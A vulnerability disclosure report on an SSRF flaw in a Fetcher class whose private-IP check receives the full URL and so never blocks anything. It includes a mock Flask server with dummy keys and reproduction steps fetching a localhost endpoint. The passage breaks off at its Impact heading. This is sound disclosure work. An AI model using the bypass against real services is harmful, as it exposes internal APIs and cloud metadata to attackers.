CVE Vulnerability Report

Summary

Server-Side Request Forgery (SSRF) vulnerability allows attackers to bypass private IP validation and access internal network resources. The private IP check in the Fetcher class always returns false due to passing the full URL string instead of the hostname to the is_ip_private() function, enabling unauthorized access to internal services, cloud metadata endpoints, and sensitive internal APIs.

Details

The vulnerability exists in src/Fetcher.ts in the _fetch() method at line 18:

if (is_ip_private(url)) {
  throw new Error(
    `Fetcher blocked an attempt to fetch a private IP ${url}...`
  );
}

Root Cause:

The is_ip_private() function expects a hostname or IP address (e.g., "192.168.1.1" or "localhost"), but receives the full URL string (e.g., "<http://192.168.1.1:8080/api/data>"). This causes the validation to always return false, effectively disabling the security check.

Additional Issue:

The is_ip_private module itself has reported CVE vulnerabilities and should not be used for security-critical validation.

PoC

Internal Admin Server (Mock) This vulnerability was verified in a local development environment.

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/api/secrets')
def secrets():
    return render_template_string("""
    <html>
    <h1>Secrets</h1>
    <ul>
        <li><a href="/api/secrets/db_key">DB Key: sk-1234567890abcdef</a></li>
        <li><a href="/api/secrets/aws_key">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li>
    </ul>
    <a href="/">Back</a>
    """)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Steps to Reproduce:

  1. Set up an application using the Fetcher class

  2. Attempt to fetch a private IP address:

    await Fetcher.html({
      url: "<http://127.0.0.1/api/secrets>",
      headers: {}
    });
    
    

image.png

Expected Result: All requests should be blocked with an error message

Actual Result: All requests are allowed and executed

Impact